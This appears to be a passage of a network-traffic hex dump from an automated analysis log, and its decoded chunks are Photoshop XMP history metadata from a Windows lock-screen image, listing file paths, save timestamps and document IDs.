4d 53 52 65 77 61 72 64 73 2d 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 32 33 30 34 37 39 34 5f 
31 30 38 30 78 31 39 32 30 46 46 38 34 30 44 32 36 34 41 34 32 44 31 32 30 38 41 42 41 35 35 34 35 34 36 44 31 44 35 
36 32 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 31 34 3a 33 37 3a 31 33 2d 30 38 
3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 7
7 73 31 30 5c 45 64 67 65 5c 4d 53 2d 52 65 77 61 72 64 73 5c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 47 65 6e 65 
72 61 6c 5c 4d 6f 76 69 65 73 5c 43 48 4f 53 45 4e 5c 45 64 67 65 2d 
Data Ascii: hotoshop CC 2015.5\AutoRecover\_Edge-MSRewards-Movies_GettyImages-152304794_1080x1920FF8
40D264A42D1208ABA554546D1D562.psb saved&#xA;2017-01-30T14:37:13-08:00&#x9;File C:\Users\v-lizagh\MS\
Windows10\Edge\MS-Rewards\Entertainment-General\Movies\CHOSEN\Edge-

2022-06-08 07:56:16 UTC 1575 IN Data Raw: 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 
69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 70 72 69 6e 67 45 6e 74 65 72 74 61 69 6e 6d 
65 6e 74 5c 41 70 72 69 6c 5c 44 57 54 53 5c 43 48 4f 53 45 4e 5c 4d 49 54 2d 53 70 72 69 6e 67 45 6e 74 6d 6e 74 2d 4
4 57 54 53 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 36 39 36 39 32 30 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 
20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 34 54 31 31 3a 34 35 3a 35 33 2d 30 37 3a 30 30 26 23 78 
39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 
6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 70 72 69 6e 67 45 6e 74 65 72 
Data Ascii: :00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\SpringEntertainment\April\DWTS\CHOSEN\MI
T-SpringEntmnt-DWTS_GettyImages-476969209_1080x1920.jpg saved&#xA;2017-03-14T11:45:53-07:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\MomentsInTime\SpringEnter

2022-06-08 07:56:16 UTC 1654 IN Data Raw: 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 
65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 
39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 
26 23 78 41 3b 32 30 31 37 2d 30 33 2d 32 38 54 31 34 3a 30 32 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 
65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 
5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 
Data Ascii: Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38
B8DF538ECD39C4CCFC.psb saved&#xA;2017-03-28T14:02:24-07:00&#x9;File C:\Users\v-lizagh\AppData\Roamin
g\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:16 UTC 1774 IN Data Raw: 38 38 34 36 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 
30 34 2d 32 37 54 30 39 3a 30 39 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 
72 61 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 
74 79 49 6d 61 67 65 73 2d 35 39 36 34 30 38 38 37 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 
23 78 41 3b 32 30 31 37 2d 30 34 2d 32 37 54 30 39 3a 31 30 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 
Data Ascii: 88469_1080x1920.jpg saved&#xA;2017-04-27T09:09:50-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Of
fice\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-596408872_1080x1920.jpg saved&#xA;2017-04-27T
09:10:59-07:00&#x9;File C:\Users\v-lizagh\MS\Wi

2022-06-08 07:56:16 UTC 1805 IN Data Raw: 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 32 36 54 
30 30 3a 32 34 3a 30 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 
67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 
74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 36 54 31 32 3a 30 34 3a 33 31 
2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 
74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 36 54 31 32 3a 35 31 3a 32 
39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 
Data Ascii: D39C4CCFC.psb saved&#xA;2017-05-26T00:24:04-07:00&#x9;File C:\Users\v-lizagh\MS\Windows1
0\Lockscreen_1080x1920_Portrait.psd saved&#xA;2017-06-06T12:04:31-07:00&#x9;File Lockscreen_1080x1920_Portrait
.psd opened&#xA;2017-06-06T12:51:29-07:00&#x9;File C:\Use

2022-06-08 07:56:16 UTC 1837 IN Data Raw: 41 3b 32 30 31 37 2d 30 36 2d 31 33 54 31 35 3a 32 35 3a 30 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 
65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 
5c 43 68 69 6e 61 2d 57 68 61 74 73 41 70 70 5c 43 48 4f 53 45 4e 5c 57 68 61 74 73 61 70 70 2d 43 68 69 6e 61 5f 73 
68 75 74 74 65 72 73 74 6f 63 6b 5f 31 31 34 33 33 38 31 34 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 6
5 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 33 54 31 35 3a 32 36 3a 30 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 
6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 
77 73 5c 43 68 69 6e 61 2d 57 68 61 74 73 41 70 70 5c 43 48 4f 53 45 4e 
Data Ascii: A;2017-06-13T15:25:08-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\China-WhatsA
pp\CHOSEN\Whatsapp-China_shutterstock_114338140_1080x1920.jpg saved&#xA;2017-06-13T15:26:08-07:00&#x
9;File C:\Users\v-lizagh\MS\Windows10\Windows\China-WhatsApp\CHOSEN

2022-06-08 07:56:16 UTC 1909 IN Data Raw: 31 37 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 
78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 
36 54 31 33 3a 32 34 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 
7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 
65 6e 74 2d 46 59 31 38 5c 43 68 6f 73 65 6e 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 46 59 31 38 5f 47 65 74 7
4 79 49 6d 61 67 65 73 2d 31 36 30 36 37 33 33 31 35 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 
23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 35 34 
Data Ascii: 17:27-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;2017-07-26T13:24:34-07:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Chosen\MixerEngagementFY18_GettyImages-
160673315_1080x1920.psd saved&#xA;2017-07-26T13:24:54

2022-06-08 07:56:16 UTC 1941 IN Data Raw: 64 65 72 73 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 41 63 71 52 65 6d 69 6e 64 65 72 73 5f 47 65 74 74 79 
49 6d 61 67 65 73 2d 35 39 37 39 37 34 35 37 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 
41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 36 3a 30 35 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 6
4 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 41 63 71 52 65 
6d 69 6e 64 65 72 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 30 37 32 37 37 33 39 5f 31 30 38 30 78 31 39 32 30 3
3 30 36 31 39 37 46 44 41 33 33 34 36 34 31 38 37 41 32 34 32 46 
Data Ascii: ders\Chosen\Crops\AcqReminders_GettyImages-597974570_1080x1920.jpg saved&#xA;2017-08-29T
16:05:24-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\
_AcqReminders_GettyImages-170727739_1080x1920306197FDA33464187A242F

2022-06-08 07:56:16 UTC 1996 IN Data Raw: 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 33 36 35 
2d 47 65 6e 65 72 69 63 53 70 6f 74 6c 69 67 68 74 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 34 35 35 32 35 37 34 35 30 
5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 38 54 31 35 3a 
30 33 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 
41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 
20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 
50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 
Data Ascii: Spotlight_FY17\Chosen\Crops\Office365-GenericSpotlight_shutterstock_455257450_1080x1920.jpg saved&
#xA;2017-09-28T15:03:07-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 20
17\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C

2022-06-08 07:56:16 UTC 2060 IN Data Raw: 44 58 44 30 46 47 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 
2d 31 31 2d 31 36 54 31 32 3a 35 37 3a 34 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 
5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 
6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 64 67 65 2d 4a 68 61 72 6b 68 
61 6e 64 5f 41 6c 61 6d 79 2d 44 58 44 30 46 47 5f 31 30 38 30 78 31 39 32 30 35 44 38 45 38 38 41 44 42 32 43 35 41 3
3 32 37 38 36 45 38 46 35 35 36 37 30 31 30 38 30 45 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 
31 31 2d 31 36 54 31 32 3a 35 38 3a 31 34 2d 30 38 3a 30 30 26 23 78 
Data Ascii: DXD0FG_1080x1920.jpg saved&#xA;2017-11-16T12:57:41-08:00&#x9;File C:\Users\v-lizagh\AppData\Roamin
g\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Edge-Jharkhand_Alamy-DXD0FG_1080x19205D8E88AD
B2C5A32786E8F556701080E5.psb saved&#xA;2017-11-16T12:58:14-08:00&#x

2022-06-08 07:56:16 UTC 2116 IN Data Raw: 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 
3b 32 30 31 37 2d 31 32 2d 31 34 54 31 34 3a 31 37 3a 34 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 
55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 
6d 65 5c 48 6f 6c 69 64 61 79 5c 48 6f 6c 69 64 61 79 32 30 31 37 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 
48 6f 6c 69 64 61 79 32 30 31 37 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 33 39 36 30 37 34 31 5f 31 30 38 30 78 31 
39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 34 3a 31 38 3a 33 38 2d 30 
38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 
Data Ascii: een_1080x1920_Portrait.psd saved&#xA;2017-12-14T14:17:46-08:00&#x9;File C:\Users\v-lizagh\MS\Windo
ws10\MomentsInTime\Holiday\Holiday2017\CHOSEN\Crops\MIT-Holiday2017_GettyImages-133960741_1080x1920.psd 
saved&#xA;2017-12-14T14:18:38-08:00&#x9;File C:\Users
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2022-06-08 07:56:16 UTC 2155 IN Data Raw: 53 65 61 73 6f 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 34 37 34 30 35 34 36 38 5f 31 30 38 30 78 31 39 
32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 33 3a 33 35 3a 32 34 2d 30 38 
3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 44 72 6f 70 62 6f 78 20 
28 41 71 75 65 6e 74 29 5c 57 69 6e 31 30 2d 4c 6f 63 6b 5f 53 70 6f 74 6c 69 67 68 74 5c 54 65 6d 70 6c 61 74 65 73 5c 
4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 31 32 2e 70 73 64 20 73 61 76 65 
64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 33 3a 33 36 3a 32 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 
65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 44 72 
Data Ascii: Season_GettyImages-547405468_1080x1920.psd saved&#xA;2017-12-20T23:35:24-08:00&#x9;File 
C:\Users\v-lizagh\Dropbox (Aquent)\Win10-Lock_Spotlight\Templates\Lockscreen_1080x1920_Portrait12.psd saved&#x
A;2017-12-20T23:36:29-08:00&#x9;File C:\Users\v-lizagh\Dr

2022-06-08 07:56:16 UTC 2219 IN Data Raw: 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 
70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 
38 33 39 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 33 31 
54 31 33 3a 33 37 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 7
0 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 7
3 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 38 33 39 
Data Ascii: ntsInTime\WinterOlympics\_CHOSEN\Crops\MIT-WinterOlympics_GettyImages-161928393_1080x1920.jpg 
saved&#xA;2018-01-31T13:37:56-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 
2017\AutoRecover\_MIT-WinterOlympics_GettyImages-16192839

2022-06-08 07:56:16 UTC 2291 IN Data Raw: 39 39 33 34 30 42 35 30 46 37 44 35 37 32 30 43 39 36 39 44 34 32 34 33 31 34 39 36 36 37 2e 70 73 62 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 38 54 31 38 3a 34 30 3a 35 35 2d 30 38 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 
65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 
73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 39 54 31 30 3a 31 31 3a 30 39 2d 30 38 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 
73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 
Data Ascii: 99340B50F7D5720C969D4243149667.psb saved&#xA;2018-03-08T18:40:55-08:00&#x9;File C:\Users\v-
lizagh\MS\Windows10\__Templates\Lockscreen_1080x1920_Portrait.psd saved&#xA;2018-03-09T10:11:09-08:00&#x9;F
ile Lockscreen_1080x1920_Portrait.psd opened&#xA;2018-03-

2022-06-08 07:56:16 UTC 2354 IN Data Raw: 31 38 2d 30 33 2d 32 31 54 31 35 3a 33 39 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 
64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 69 78 65 
72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 39 32 32 38 32 35 33 31 34 5f 31 30 38 30 78 31 39 32 30 39 35 37 37 43 42 4
2 46 41 39 43 35 35 39 33 44 34 30 34 43 37 46 41 42 45 46 45 30 38 31 30 46 2e 70 73 62 20 73 61 76 65 64 26 23 78 
41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 35 3a 34 34 3a 34 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 
Data Ascii: 18-03-21T15:39:53-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\A
utoRecover\_Mixer_GettyImages-922825314_1080x19209577CBBFA9C5593D404C7FABEFE0810F.psb save
d&#xA;2018-03-21T15:44:44-07:00&#x9;File C:\Users\v-lizagh\MS\Windo

2022-06-08 07:56:16 UTC 2434 IN Data Raw: 6c 69 3e 30 38 37 35 35 38 38 39 36 33 41 37 43 37 43 34 39 31 38 33 32 38 31 36 44 32 30 46 35 31 35 44 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 37 43 34 45 30 38 37 44 31 42 38 44 42 41 34 34 31 34 33 
36 30 30 31 34 33 38 31 34 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 37 46 42 37 38 43 36 35 3
9 43 39 35 33 45 42 30 42 33 31 36 36 39 37 43 34 41 38 38 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
30 38 39 31 33 33 37 43 38 33 34 39 46 41 38 30 37 42 33 41 41 37 41 31 45 38 34 43 31 31 41 30 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 39 46 38 42 32 36 37 43 43 39 43 38 35 32 38 35 42 44 37 37 30 46 35 42 30 30 
43 45 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 
Data Ascii: li>0875588963A7C7C491832816D20F515D</rdf:li> <rdf:li>087C4E087D1B8DBA44143600143814B5</rdf:li> 
<rdf:li>087FB78C659C953EB0B316697C4A88C0</rdf:li> <rdf:li>0891337C8349FA807B3AA7A1E84C11A0</rdf:li> <rd
f:li>089F8B267CC9C85285BD770F5B00CE36</rdf:li> <rdf:li>08

2022-06-08 07:56:16 UTC 2474 IN Data Raw: 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 33 39 43 46 42 35 32 32 36 38 32 41 37 41 37 30 
37 36 46 38 44 33 36 33 43 31 43 45 34 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 33 42 32 36 30 
46 34 36 38 39 32 30 45 33 31 46 43 36 32 31 44 30 44 41 34 30 42 34 33 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 31 33 42 32 38 42 33 33 37 33 39 42 42 44 46 33 45 46 37 41 41 43 35 33 34 38 38 38 41 44 42 34 3c 2f 7
2 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 33 42 37 38 45 39 30 38 39 41 37 43 44 39 45 32 41 37 36 43 39 38 
32 34 41 34 45 30 39 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 33 42 38 31 46 41 37 31 30 41 33 
44 38 32 41 33 41 34 32 44 33 46 36 33 37 41 37 44 33 32 44 3c 2f 72 64 
Data Ascii: 4</rdf:li> <rdf:li>139CFB522682A7A7076F8D363C1CE46B</rdf:li> <rdf:li>13B260F468920E31FC6
21D0DA40B436B</rdf:li> <rdf:li>13B28B33739BBDF3EF7AAC534888ADB4</rdf:li> <rdf:li>13B78E9089A7CD9E2A7
6C9824A4E09FA</rdf:li> <rdf:li>13B81FA710A3D82A3A42D3F637A7D32D</rd

2022-06-08 07:56:16 UTC 2553 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 38 41 36 37 31 46 31 36 37 37 41 39 45 41 42 37 44 35 
37 44 36 42 30 46 39 46 37 45 30 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 38 41 46 39 34 38 33 
45 30 41 31 36 38 33 45 31 42 34 34 43 35 35 39 37 45 44 38 45 46 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 31 38 42 31 32 46 34 34 37 41 43 36 34 39 44 44 30 42 37 33 46 42 32 46 41 32 35 45 42 41 44 39 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 38 43 31 42 43 45 44 37 36 35 31 30 31 44 41 31 43 31 30 38 31 46 38 35 
35 30 44 37 38 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 38 43 44 34 36 37 43 44 39 44 39 35 46 
39 30 31 42 38 46 35 37 46 31 30 32 33 41 38 43 41 35 3c 2f 72 64 66 3a 
Data Ascii: /rdf:li> <rdf:li>18A671F1677A9EAB7D57D6B0F9F7E0D8</rdf:li> <rdf:li>18AF9483E0A1683E1B44C
5597ED8EF28</rdf:li> <rdf:li>18B12F447AC649DD0B73FB2FA25EBAD9</rdf:li> <rdf:li>18C1BCED765101DA1C108
1F8550D7808</rdf:li> <rdf:li>18CD467CD9D95F901B8F57F1023A8CA5</rdf:

2022-06-08 07:56:16 UTC 2624 IN Data Raw: 46 30 31 33 42 43 43 43 37 34 38 37 42 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 31 
32 32 45 31 34 46 43 44 30 45 36 39 46 43 44 32 34 34 38 41 41 39 34 36 30 43 31 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 32 35 31 43 35 30 31 41 46 32 32 33 45 31 30 33 34 32 39 45 38 46 41 31 46 44 37 41 34 33 30 
36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 32 33 41 42 41 44 43 33 42 30 42 37 35 42 34 36 33 35 3
7 45 42 32 31 43 33 36 41 44 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 33 36 32 42 43 43 31 38 
46 39 31 30 42 34 38 41 36 36 45 31 36 31 41 36 38 34 46 33 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 32 35 33 43 35 30 45 31 32 32 30 42 36 36 31 37 36 44 39 35 35 35 
Data Ascii: F013BCCC7487B02</rdf:li> <rdf:li>25122E14FCD0E69FCD2448AA9460C15F</rdf:li> <rdf:li>251C5
01AF223E103429E8FA1FD7A4306</rdf:li> <rdf:li>2523ABADC3B0B75B46357EB21C36ADB4</rdf:li> <rdf:li>25362
BCC18F910B48A66E161A684F365</rdf:li> <rdf:li>253C50E1220B66176D9555
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2022-06-08 07:56:16 UTC 2688 IN Data Raw: 38 44 38 31 44 42 46 42 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 32 34 46 34 35 35 
39 33 39 34 38 41 30 42 33 45 43 42 35 44 36 37 45 42 34 36 31 46 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
